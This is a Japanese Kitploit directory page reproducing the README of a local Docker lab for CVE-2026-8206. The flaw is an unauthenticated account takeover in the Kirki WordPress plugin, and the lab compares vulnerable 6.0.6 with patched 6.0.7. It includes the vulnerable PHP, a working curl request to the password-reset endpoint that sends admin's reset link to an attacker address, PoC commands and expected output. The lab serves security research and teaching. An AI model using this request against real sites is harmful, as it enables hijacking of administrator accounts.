Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8206-Lab — CVE-2026-8206(Kirki WordPressプラグインにおける未認証アカウント乗っ取り)を実演するローカルDockerラボ。脆弱バージョン6.0.6とパッチ適用済み6.0.7をPoCスクリプトおよびキャプチャメール検証で比較します。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用CTF学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

CVE-2026-8206(Kirki WordPressプラグインにおける未認証アカウント乗っ取り)を実演するローカルDockerラボ。脆弱バージョン6.0.6とパッチ適用済み6.0.7をPoCスクリプトおよびキャプチャメール検証で比較します。

リポジトリを見る
143ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-8206 - Kirki アカウント乗っ取りラボ

Kirki WordPressプラグインにおけるCVE-2026-8206を実証するためのローカルDockerラボです。

このリポジトリは、実際のKirkiプラグインのリリースを比較します:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

ラボはローカルのみで、WordPressサービスを127.0.0.1にバインドします。 PoCは最小限の害しか与えません。パスワードリセットを要求し、ラボ内でキャプチャされたメールの受信者を検証します。パスワードは一切変更しません。


概要

CVE-2026-8206は、Kirkiバージョン6.0.0から6.0.6における未認証のアカウント乗っ取り/権限昇格の脆弱性です。

脆弱なパスワードリセットハンドラは、usernameで選択された実際のWordPressユーザーのリセットキーを作成しますが、リセットメールはリクエストで指定された任意のメールアドレスに送信します。

このラボでは:

root@kitploit:~
vulnerable => adminのリセットリンクが [email protected] に送信される
patched    => 不一致のメールは拒否され、[email protected] にリセットメールは送信されない

影響を受けるコンポーネント

  • 製品: Kirki – Freeform Page Builder, Website Builder & Customizer
  • 影響を受けるバージョン: 6.0.0 から 6.0.6
  • 修正バージョン: 6.0.7
  • このラボで使用する脆弱なエンドポイント:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

根本原因

脆弱なハンドラは次のとおりです:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

6.0.6 の脆弱な動作

Kirkiはリクエストボディから攻撃者が提供したメールを読み取ります:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

次に、ユーザー名で対象のWordPressユーザーを特定し、そのユーザーのパスワードリセットキーを作成します:

root@kitploit:~
$key = get_password_reset_key( $user );

しかし、最終的なリセットメールはリクエストで指定された$emailに送信されます:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

これにより、アカウントIDとリセットメールの受信者との間の信頼境界が破られます。 認証されていないリクエスタは次のように提供できます:

root@kitploit:~
username=admin
[email protected]

リセットキーはadminに属しますが、メールは攻撃者が制御するアドレスに配信されます。

6.0.7 の修正された動作

Kirki 6.0.7は、提供されたメールが解決されたユーザーの登録メールと一致することを検証し、送信前に受信者をアカウントメールに強制します:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

ラボ設計

サービス目的ホストURL
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vuln脆弱なWordPress用MySQLDockerネットワークのみ
db_patched修正版WordPress用MySQLDockerネットワークのみ
wpcli_vuln脆弱なWordPressをシードワンショットセットアップ
wpcli_patched修正版WordPressをシードワンショットセットアップ

ローカルメールは外部に送信されず、ファイルにキャプチャされます:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

ラボはWP-CLIでインストールされた実際のKirkiプラグインバージョンを使用します。プラグインのソースは変更されていません。


リポジトリ構造

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

必要条件

  • Docker Desktop または Docker Engine
  • Docker Compose v2
  • Python 3
  • Python requests パッケージ

必要に応じてPythonの依存関係をインストール:

root@kitploit:~
python3 -m pip install requests

ラボの実行

コンテナを起動:

root@kitploit:~
docker compose up -d --build

両方のWordPressインスタンスをシード:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

PoCを実行:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

期待される結果

脆弱: Kirki 6.0.6

期待される結果:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

これにより、脆弱なバージョンが対象アカウントのパスワードリセットメールを攻撃者が制御するアドレスに送信したことが証明されます。

修正版: Kirki 6.0.7

期待される結果:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

これにより、修正版がユーザー名/メールの不一致を拒否し、攻撃者が制御するアドレスにリセットメールを送信しないことが証明されます。


手動検証

脆弱なラボ内で正しいKirki要素nonceを作成:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

脆弱なサービスにローカルのみのリクエストを送信:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

キャプチャされたメールを確認:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

期待される脆弱な証拠:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

安全性

このラボは、ローカルのセキュリティ研究およびポートフォリオのデモンストレーションのみを目的としています。

ガードレール:

  • サービスを127.0.0.1のみにバインド。
  • ダミーのローカルメールアドレスを使用。
  • 実際のメールを送信せず、ローカルでメールをキャプチャ。
  • パスワードを変更しない。
  • 外部システムに対する悪用を試みない。

クリーンアップ

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

参考文献

  • CVEレコード: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Wordfence勧告: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Wordfence脆弱性データベース: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • WordPressプラグインページ/変更履歴: https://wordpress.org/plugins/kirki/
  • OpenCVEエントリー: https://app.opencve.io/cve/CVE-2026-8206
ツールをダウンロード